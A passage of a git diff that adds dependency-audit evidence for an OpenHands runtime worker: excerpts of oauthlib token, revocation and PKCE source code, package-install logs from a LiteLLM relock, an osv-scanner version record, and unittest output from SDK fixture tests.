OAuth token +oauthlib/common.py:190: +oauthlib/common.py:191: OAuth (1 and 2) does not specify the format of tokens except that they +oauthlib/common.py:192: should be strings of random characters. Tokens should not be guessable +oauthlib/common.py:193: and entropy when generating the random characters is important. Which is +oauthlib/common.py:194: why SystemRandom is used instead of the default random.choice method. +oauthlib/common.py:195: """ +oauthlib/common.py:196: rand = SystemRandom() +oauthlib/common.py:197: return ''.join(rand.choice(chars) for x in range(length)) +oauthlib/common.py:198: +oauthlib/common.py:199: +oauthlib/common.py:200: def generate_signed_token(private_pem, request): +oauthlib/common.py:201: import jwt # noqa: PLC0415 +oauthlib/common.py:202: +oauthlib/common.py:203: now = datetime.datetime.utcnow() +oauthlib/common.py:204: +oauthlib/common.py:205: claims = { +oauthlib/common.py:206: 'scope': request.scope, +oauthlib/common.py:207: 'exp': now + datetime.timedelta(seconds=request.expires_in) +oauthlib/common.py:208: } +oauthlib/common.py:209: +oauthlib/common.py:210: claims.update(request.claims) +oauthlib/common.py:211: +oauthlib/common.py:212: token = jwt.encode(claims, private_pem, 'RS256') +oauthlib/common.py:213: token = to_unicode(token, "UTF-8") +oauthlib/common.py:214: +oauthlib/common.py:215: return token +oauthlib/common.py:216: +oauthlib/common.py:217: +oauthlib/common.py:218: def verify_signed_token(public_pem, token): +oauthlib/common.py:219: import jwt # noqa: PLC0415 +oauthlib/common.py:220: +oauthlib/common.py:221: return jwt.decode(token, public_pem, algorithms=['RS256']) +oauthlib/common.py:222: +oauthlib/common.py:223: +oauthlib/oauth2/rfc6749/endpoints/revocation.py sha256 ebc5248a9cfb50e75e04298ee4a4d1a34bf06d415df2d4c6db60a4d21165ba6c +oauthlib/oauth2/rfc6749/endpoints/revocation.py:1: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:2: oauthlib.oauth2.rfc6749.endpoint.revocation +oauthlib/oauth2/rfc6749/endpoints/revocation.py:3: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:4: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:5: An implementation of the OAuth 2 `Token Revocation`_ spec (draft 11). +oauthlib/oauth2/rfc6749/endpoints/revocation.py:6: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:7: .. _`Token Revocation`: https://tools.ietf.org/html/draft-ietf-oauth-revocation-11 +oauthlib/oauth2/rfc6749/endpoints/revocation.py:8: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:9: import logging +oauthlib/oauth2/rfc6749/endpoints/revocation.py:10: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:11: from oauthlib.common import Request +oauthlib/oauth2/rfc6749/endpoints/revocation.py:12: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:13: from ..errors import OAuth2Error +oauthlib/oauth2/rfc6749/endpoints/revocation.py:14: from .base import BaseEndpoint, catch_errors_and_unavailability +oauthlib/oauth2/rfc6749/endpoints/revocation.py:15: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:16: log = logging.getLogger(__name__) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:17: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:18: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:19: class RevocationEndpoint(BaseEndpoint): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:20: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:21: """Token revocation endpoint. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:22: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:23: Endpoint used by authenticated clients to revoke access and refresh tokens. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:24: Commonly this will be part of the Authorization Endpoint. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:25: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:26: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:27: valid_token_types = ('access_token', 'refresh_token') +oauthlib/oauth2/rfc6749/endpoints/revocation.py:28: valid_request_methods = ('POST',) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:29: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:30: def __init__(self, request_validator, supported_token_types=None, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:31: enable_jsonp=False): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:32: BaseEndpoint.__init__(self) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:33: self.request_validator = request_validator +oauthlib/oauth2/rfc6749/endpoints/revocation.py:34: self.supported_token_types = ( +oauthlib/oauth2/rfc6749/endpoints/revocation.py:35: supported_token_types or self.valid_token_types) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:36: self.enable_jsonp = enable_jsonp +oauthlib/oauth2/rfc6749/endpoints/revocation.py:37: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:38: @catch_errors_and_unavailability +oauthlib/oauth2/rfc6749/endpoints/revocation.py:39: def create_revocation_response(self, uri, http_method='POST', body=None, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:40: headers=None): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:41: """Revoke supplied access or refresh token. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:42: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:43: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:44: The authorization server responds with HTTP status code 200 if the +oauthlib/oauth2/rfc6749/endpoints/revocation.py:45: token has been revoked successfully or if the client submitted an +oauthlib/oauth2/rfc6749/endpoints/revocation.py:46: invalid token. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:47: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:48: Note: invalid tokens do not cause an error response since the client +oauthlib/oauth2/rfc6749/endpoints/revocation.py:49: cannot handle such an error in a reasonable way. Moreover, the purpose +oauthlib/oauth2/rfc6749/endpoints/revocation.py:50: of the revocation request, invalidating the particular token, is +oauthlib/oauth2/rfc6749/endpoints/revocation.py:51: already achieved. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:52: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:53: The content of the response body is ignored by the client as all +oauthlib/oauth2/rfc6749/endpoints/revocation.py:54: necessary information is conveyed in the response code. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:55: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:56: An invalid token type hint value is ignored by the authorization server +oauthlib/oauth2/rfc6749/endpoints/revocation.py:57: and does not influence the revocation response. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:58: """ +oauthlib/oauth2/rfc6749/endpoints/revocation.py:59: resp_headers = { +oauthlib/oauth2/rfc6749/endpoints/revocation.py:60: 'Content-Type': 'application/json', +oauthlib/oauth2/rfc6749/endpoints/revocation.py:61: 'Cache-Control': 'no-store', +oauthlib/oauth2/rfc6749/endpoints/revocation.py:62: 'Pragma': 'no-cache', +oauthlib/oauth2/rfc6749/endpoints/revocation.py:63: } +oauthlib/oauth2/rfc6749/endpoints/revocation.py:64: request = Request( +oauthlib/oauth2/rfc6749/endpoints/revocation.py:65: uri, http_method=http_method, body=body, headers=headers) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:66: try: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:67: self.validate_revocation_request(request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:68: log.debug('Token revocation valid for %r.', request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:69: except OAuth2Error as e: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:70: log.debug('Client error during validation of %r. %r.', request, e) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:71: response_body = e.json +oauthlib/oauth2/rfc6749/endpoints/revocation.py:72: if self.enable_jsonp and request.callback: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:73: response_body = '{}({});'.format(request.callback, response_body) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:74: resp_headers.update(e.headers) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:75: return resp_headers, response_body, e.status_code +oauthlib/oauth2/rfc6749/endpoints/revocation.py:76: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:77: self.request_validator.revoke_token(request.token, +oauthlib/oauth2/rfc6749/endpoints/revocation.py:78: request.token_type_hint, request) +oauthlib/oauth2/rfc6749/endpoints/revocation.py:79: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:80: response_body = '' +oauthlib/oauth2/rfc6749/endpoints/revocation.py:81: if self.enable_jsonp and request.callback: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:82: response_body = request.callback + '();' +oauthlib/oauth2/rfc6749/endpoints/revocation.py:83: return {}, response_body, 200 +oauthlib/oauth2/rfc6749/endpoints/revocation.py:84: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:85: def validate_revocation_request(self, request): +oauthlib/oauth2/rfc6749/endpoints/revocation.py:86: """Ensure the request is valid. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:87: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:88: The client constructs the request by including the following parameters +oauthlib/oauth2/rfc6749/endpoints/revocation.py:89: using the "application/x-www-form-urlencoded" format in the HTTP +oauthlib/oauth2/rfc6749/endpoints/revocation.py:90: request entity-body: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:91: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:92: token (REQUIRED). The token that the client wants to get revoked. +oauthlib/oauth2/rfc6749/endpoints/revocation.py:93: +oauthlib/oauth2/rfc6749/endpoints/revocation.py:94: token_type_hint (OPTIONAL). A hint about the type of the token +oauthlib/oauth2/rfc6749/endpoints/revocation.py:95: submitted for revocation. Clients MAY pass this parameter in order to +oauthlib/oauth2/rfc6749/endpoints/revocation.py:96: help the authorization server to optimize the token lookup. If the +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py sha256 0d6931601c4e88a078fb3ccf5f052c035ad6a4bb2171efb9c218e088a7272dc6 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:18: def code_challenge_method_s256(verifier, challenge): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:19: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:20: If the "code_challenge_method" from `Section 4.3`_ was "S256", the +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:21: received "code_verifier" is hashed by SHA-256, base64url-encoded, and +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:22: then compared to the "code_challenge", i.e.: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:23: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:24: BASE64URL-ENCODE(SHA256(ASCII(code_verifier))) == code_challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:25: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:26: How to implement a base64url-encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:27: function without padding, based upon the standard base64-encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:28: function that uses padding. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:29: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:30: To be concrete, example C# code implementing these functions is shown +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:31: below. Similar code could be used in other languages. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:32: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:33: static string base64urlencode(byte [] arg) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:34: { +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:35: string s = Convert.ToBase64String(arg); // Regular base64 encoder +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:36: s = s.Split('=')[0]; // Remove any trailing '='s +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:37: s = s.Replace('+', '-'); // 62nd char of encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:38: s = s.Replace('/', '_'); // 63rd char of encoding +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:39: return s; +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:40: } +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:41: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:42: In python urlsafe_b64encode is already replacing '+' and '/', but preserve +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:43: the trailing '='. So we have to remove it. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:44: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:45: .. _`Section 4.3`: https://tools.ietf.org/html/rfc7636#section-4.3 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:46: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:47: return base64.urlsafe_b64encode( +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:48: hashlib.sha256(verifier.encode()).digest() +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:49: ).decode().rstrip('=') == challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:50: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:51: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:52: def code_challenge_method_plain(verifier, challenge): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:53: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:54: If the "code_challenge_method" from `Section 4.3`_ was "plain", they are +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:55: compared directly, i.e.: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:56: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:57: code_verifier == code_challenge. +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:58: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:59: .. _`Section 4.3`: https://tools.ietf.org/html/rfc7636#section-4.3 +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:60: """ +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:61: return verifier == challenge +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:62: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:63: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:64: class AuthorizationCodeGrant(GrantTypeBase): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:65: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:490: challenge = self.request_validator.get_code_challenge(request.code, request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:491: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:492: if challenge is not None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:493: if request.code_verifier is None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:494: raise errors.MissingCodeVerifierError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:495: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:496: challenge_method = self.request_validator.get_code_challenge_method(request.code, request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:497: if challenge_method is None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:498: raise errors.InvalidGrantError(request=request, description="Challenge method not found") +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:499: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:500: if challenge_method not in self._code_challenge_methods: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:501: raise errors.ServerError( +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:502: description="code_challenge_method {} is not supported.".format(challenge_method), +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:503: request=request +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:504: ) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:505: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:506: if not self.validate_code_challenge(challenge, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:507: challenge_method, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:508: request.code_verifier): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:509: log.debug('request provided a invalid code_verifier.') +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:510: raise errors.InvalidGrantError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:511: elif self.request_validator.is_pkce_required(request.client_id, request) is True: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:512: if request.code_verifier is None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:513: raise errors.MissingCodeVerifierError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:531: request.using_default_redirect_uri = False +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:532: log.debug('Using provided redirect_uri %s', request.redirect_uri) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:533: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:534: if not self.request_validator.confirm_redirect_uri(request.client_id, request.code, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:535: request.redirect_uri, request.client, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:536: request): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:537: log.debug('Redirect_uri (%r) invalid for client %r (%r).', +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:538: request.redirect_uri, request.client_id, request.client) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:539: raise errors.MismatchingRedirectURIError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:540: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:541: for validator in self.custom_validators.post_token: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:542: validator(request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:543: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:544: def validate_code_challenge(self, challenge, challenge_method, verifier): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:545: if challenge_method in self._code_challenge_methods: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:546: return self._code_challenge_methods[challenge_method](verifier, challenge) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:547: raise NotImplementedError('Unknown challenge_method %s' % challenge_method) +# RevocationEndpoint construction in OAuthlib's own preconfigured servers +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py sha256 6fe072e29e94f0bb6fa65bf8a223893b2702e8d77c52494b389f75bb3ebc6316 +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:92: RevocationEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:93: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:94: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:95: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:145: RevocationEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:146: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:147: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:148: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:188: RevocationEndpoint.__init__( +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:189: self, request_validator, supported_token_types=["access_token"] +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:190: ) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:191: IntrospectEndpoint.__init__( +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:239: RevocationEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:240: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:241: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:242: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:282: RevocationEndpoint.__init__( +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:283: self, request_validator, supported_token_types=["access_token"] +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:284: ) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:285: IntrospectEndpoint.__init__( +oauthlib/openid/connect/core/endpoints/pre_configured.py sha256 bc6ff1a5fa23c2dcc3a782125e13d93355e73abf2e4fadc406b86ebce121e7ee +oauthlib/openid/connect/core/endpoints/pre_configured.py:137: RevocationEndpoint.__init__(self, request_validator) +oauthlib/openid/connect/core/endpoints/pre_configured.py:138: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/openid/connect/core/endpoints/pre_configured.py:139: UserInfoEndpoint.__init__(self, request_validator) diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-pytest-qualification-tools.stderr.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-pytest-qualification-tools.stderr.txt new file mode 100644 index 000000000..5e1c86a09 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-pytest-qualification-tools.stderr.txt @@ -0,0 +1,6 @@ +Using Python 3.13.15 environment at: /venv +Resolved 5 packages in 80ms +Installed 3 packages in 16ms + + iniconfig==2.3.0 + + pluggy==1.6.0 + + pytest==8.4.2 diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-runtime-hash-install.stderr.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-runtime-hash-install.stderr.txt new file mode 100644 index 000000000..8869e29b3 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-runtime-hash-install.stderr.txt @@ -0,0 +1,182 @@ +Using Python 3.13.15 environment at: /venv +Resolved 176 packages in 15ms +Installed 174 packages in 277ms +Downloading litellm (19.2MiB) + Downloaded litellm +Prepared 1 package without build isolation in 1.57s +Installed 1 package in 344ms + + agent-client-protocol==0.12.1 + + aiofile==3.9.0 + + aiofiles==25.1.0 + + aiohappyeyeballs==2.6.1 + + aiohttp==3.14.3 + + aiosignal==1.4.0 + + annotated-types==0.7.0 + + anthropic==0.75.0 + + anyio==4.14.2 + + attrs==25.3.0 + + authlib==1.6.12 + + backoff==2.2.1 + + beartype==0.22.9 + + beautifulsoup4==4.14.2 + + binaryornot==0.4.4 + + blake3==1.0.9 + + browser-use==0.11.9 + + browser-use-sdk==2.0.15 + + bubus==1.5.6 + + cachetools==7.1.8 + + caio==0.9.25 + + cdp-use==1.4.4 + + certifi==2025.8.3 + + cffi==2.0.0 + + chardet==5.2.0 + + charset-normalizer==3.4.3 + + click==8.5.0 + + cloudpickle==3.1.2 + + cryptography==50.0.0 + + cyclopts==4.6.0 + + deprecation==2.1.0 + + distro==1.9.0 + + dnspython==2.8.0 + + docstring-parser==0.17.0 + + docutils==0.22.2 + + email-validator==2.3.0 + + exceptiongroup==1.3.0 + + fakeredis==2.34.1 + + fastmcp==3.2.0 + + fastuuid==0.14.0 + + filelock==3.20.3 + + frozenlist==1.8.0 + + fsspec==2025.9.0 + + func-timeout==4.3.5 + + google-api-core==2.31.0 + + google-api-python-client==2.184.0 + + google-auth==2.53.0 + + google-auth-httplib2==0.2.0 + + google-auth-oauthlib==1.2.2 + + google-genai==1.75.0 + + googleapis-common-protos==1.70.0 + + groq==0.32.0 + + grpcio==1.76.0 + + h11==0.16.0 + + hf-xet==1.1.10 + + httpcore==1.0.9 + + httplib2==0.32.0 + + httpx==0.28.1 + + httpx-sse==0.4.3 + + huggingface-hub==0.35.3 + + idna==3.15 + + importlib-metadata==8.5.0 + + inquirerpy==0.3.4 + + jaraco-classes==3.4.0 + + jaraco-context==6.1.0 + + jaraco-functools==4.4.0 + + jeepney==0.9.0 + + jinja2==3.1.6 + + jiter==0.11.0 + + joserfc==1.7.5 + + json-repair==0.60.1 + + jsonref==1.1.0 + + jsonschema==4.23.0 + + jsonschema-path==0.3.4 + + jsonschema-specifications==2025.9.1 + + keyring==25.7.0 + + libtmux==0.53.0 + + litellm==1.93.2 + + lmnr==0.7.60 + + lmnr-claude-code-proxy==0.1.23 + + lupa==2.8 + + lxml==6.1.0 + + markdown-it-py==4.0.0 + + markdownify==1.2.0 + + markupsafe==3.0.2 + + mcp==1.28.1 + + mdurl==0.1.2 + + more-itertools==10.8.0 + + multidict==6.7.0 + + oauthlib==3.3.1 + + ollama==0.6.0 + + openai==2.33.0 + + openapi-pydantic==0.5.1 + + openhands-sdk==1.50.0 (from https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl) + + openhands-tools==1.50.0 (from https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl) + + opentelemetry-api==1.39.1 + + opentelemetry-exporter-otlp-proto-common==1.39.1 + + opentelemetry-exporter-otlp-proto-grpc==1.39.1 + + opentelemetry-exporter-otlp-proto-http==1.39.1 + + opentelemetry-instrumentation==0.60b1 + + opentelemetry-instrumentation-threading==0.60b1 + + opentelemetry-proto==1.39.1 + + opentelemetry-sdk==1.39.1 + + opentelemetry-semantic-conventions==0.60b1 + + opentelemetry-semantic-conventions-ai==0.4.13 + + orjson==3.11.7 + + pathable==0.4.4 + + pfzy==0.3.4 + + pillow==12.3.0 + + platformdirs==4.4.0 + + portalocker==2.10.1 + + posthog==6.7.7 + + prompt-toolkit==3.0.52 + + propcache==0.4.1 + + proto-plus==1.26.1 + + protobuf==6.33.5 + + psutil==7.2.2 + + py-key-value-aio==0.4.4 + + pyasn1==0.6.4 + + pyasn1-modules==0.4.2 + + pycparser==2.23 + + pydantic==2.12.5 + + pydantic-core==2.41.5 + + pydantic-settings==2.11.0 + + pygments==2.20.0 + + pyjwt==2.15.0 + + pyotp==2.9.0 + + pyparsing==3.2.5 + + pypdf==6.19.0 + + pyperclip==1.11.0 + + python-dateutil==2.9.0.post0 + + python-docx==1.2.0 + + python-dotenv==1.2.2 + + python-frontmatter==1.1.0 + + python-json-logger==4.0.0 + + python-multipart==0.0.31 + + pyyaml==6.0.2 + + redis==7.2.1 + + referencing==0.36.2 + + regex==2025.9.18 + + reportlab==4.4.4 + + requests==2.33.0 + + requests-oauthlib==2.0.0 + + rich==14.3.3 + + rich-rst==1.3.2 + + rpds-py==0.27.1 + + screeninfo==0.8.1 + + secretstorage==3.5.0 + + six==1.17.0 + + sniffio==1.3.1 + + socksio==1.0.0 + + sortedcontainers==2.4.0 + + soupsieve==2.9.2 + + sse-starlette==3.0.2 + + starlette==1.3.1 + + tenacity==9.1.2 + + tiktoken==0.12.0 + + tokenizers==0.23.1 + + tom-swe==1.0.3 + + tqdm==4.67.1 + + tree-sitter==0.25.2 + + tree-sitter-bash==0.25.1 + + typing-extensions==4.15.0 + + typing-inspection==0.4.2 + + uncalled-for==0.2.0 + + uritemplate==4.2.0 + + urllib3==2.8.0 + + uuid7==0.1.0 + + uvicorn==0.52.4 + + watchfiles==1.1.1 + + wcwidth==0.2.14 + + websockets==15.0.1 + + wrapt==1.17.3 + + yarl==1.22.0 + + zipp==3.23.0 diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-scanner-version.stdout.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-scanner-version.stdout.txt new file mode 100644 index 000000000..11a6f48be --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-scanner-version.stdout.txt @@ -0,0 +1,4 @@ +osv-scanner version: 2.6.0 +osv-scalibr version: 0.5.2 +commit: e840a6e8adb14b7777c78e26cfbf6e2abc1d1fc6 +built at: 2026-09-14T01:44:58Z diff --git a/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-sdk-fixtures.stderr.txt b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-sdk-fixtures.stderr.txt new file mode 100644 index 000000000..e235ed482 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-sdk-fixtures.stderr.txt @@ -0,0 +1,27 @@ +test_native_task_hook_refuses_ambient_and_recursive_agents (tests.test_openhands_150.OpenHands150Profiles.test_native_task_hook_refuses_ambient_and_recursive_agents) ... ok +test_profiles_are_bounded_and_services_are_task_scoped (tests.test_openhands_150.OpenHands150Profiles.test_profiles_are_bounded_and_services_are_task_scoped) ... ok +test_sampling_is_rejected_before_any_request (tests.test_openhands_150.OpenHands150Profiles.test_sampling_is_rejected_before_any_request) ... ok +test_skill_objects_are_role_selected_and_github_descriptions_are_scoped (tests.test_openhands_150.OpenHands150Profiles.test_skill_objects_are_role_selected_and_github_descriptions_are_scoped) ... ok +test_goal_status_is_lifecycle_output_and_preserves_active_judge_round (tests.test_openhands_150.OpenHands150Recovery.test_goal_status_is_lifecycle_output_and_preserves_active_judge_round) ... ok +test_independent_observer_rejects_fixture_and_model_store_sources (tests.test_openhands_150.OpenHands150Recovery.test_independent_observer_rejects_fixture_and_model_store_sources) ... ok +test_interrupt_resume_preserves_native_conversation_deadline_and_reservation (tests.test_openhands_150.OpenHands150Recovery.test_interrupt_resume_preserves_native_conversation_deadline_and_reservation) ... ok +test_actual_native_profiles_and_children_keep_explicit_route_tools_skills (tests.test_openhands_150.OpenHands150Transport.test_actual_native_profiles_and_children_keep_explicit_route_tools_skills) ... +----------------------------------------------------------------------+ +| OpenHands SDK v1.50.0 | +| | +| Report a bug: github.com/OpenHands/software-agent-sdk/issues | +| Get help: openhands.dev/joinslack | +| Scale up: openhands.dev/product/sdk | +| | +| Set OPENHANDS_SUPPRESS_BANNER=1 to hide this message | ++----------------------------------------------------------------------+ + +ok +test_actual_native_sdk_completion_uses_responses_dispatch (tests.test_openhands_150.OpenHands150Transport.test_actual_native_sdk_completion_uses_responses_dispatch) ... ok +test_completion_bridge_preserves_native_contract_and_restores_methods 